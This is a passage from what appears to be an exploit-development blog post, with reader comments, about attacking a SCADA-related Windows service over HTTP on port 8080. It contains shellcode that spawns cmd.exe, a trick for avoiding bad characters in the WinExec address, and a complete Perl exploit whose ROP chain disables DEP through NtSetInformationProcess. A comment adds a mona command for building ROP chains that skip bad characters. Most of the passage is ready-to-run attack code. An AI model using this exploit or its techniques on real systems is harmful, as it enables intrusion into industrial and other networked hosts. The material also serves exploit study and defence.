\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x0d\x25\x86\x7c\xff\xd0
However, this presents another problem. The true WinExec address has the bad char 0x25 in its address, and it doesn’t seem immediately feasible to jump to a nearby address without the offending byte due to the RET:
So let’s tack on a couple more bytes to our shellcode. Instead of directly MOVing &WinExec to EAX, we can be tricky and MOV the two’s complement of the function pointer and NEG (negate) it. The disassembly of our new shellcode will look like this:
02CDFA7C 8BEC MOV EBP,ESP 02CDFA7E 68 65786520 PUSH 20657865 02CDFA83 68 636D642E PUSH 2E646D63 02CDFA88 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 02CDFA8B 50 PUSH EAX 02CDFA8C B8 F3DA7983 MOV EAX,8379DAF3 02CDFA91 F7D8 NEG EAX 02CDFA93 FFD0 CALL EAX
This is our final exploit:
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 "; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; $exploit .= "A"; # For alignment purposes $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess $exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04 $exploit .= pack('V', 0xffffffff); # (EBP) $exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0) $exploit .= pack('V', 0x41414141); # junk (compensate) $exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN $exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10 $exploit .= pack('V', 0x77e3cb79); # RETN -> ESI $exploit .= pack('V', 0xffffffff); # -> EBX $exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02 $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xfffffffc); # -> 0x4 $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN $exploit .= pack('V', 0x77e3cb79); # RETN $exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN $exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\xf3\xda\x79\x83\xf7\xd8\xff\xd0"; $exploit .= "A"x(424-25); $exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP) $exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr) $exploit .= "A"x104; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
And let ‘er rip:
Obviously we’re only able to spawn a shell locally (on the remote system), but the techniques necessary to write the appropriate network-capable shellcode without using any of our nine bad chars with size considerations may be better suited for a separate post. Or we could just use a stager.
SCADA Wars Episode 3 – Revenge of ASLR
A (hopeful) part three will discuss the implications of ASLR in the target environment, disallowing the use of hardcoded addresses in our exploit.
Nice, Good work !!!
FYI – you can tell mona to exclude bad characters from the rop search and rop chains automatically :
!mona rop -cpb ‘\x00\x09\x0a\x23\x3a\x3d\x3f\x5c’
the -cpb switch works for any search related operation in mona
Thanks for the heads up!
Pingback: the way to learn. | 黑篷车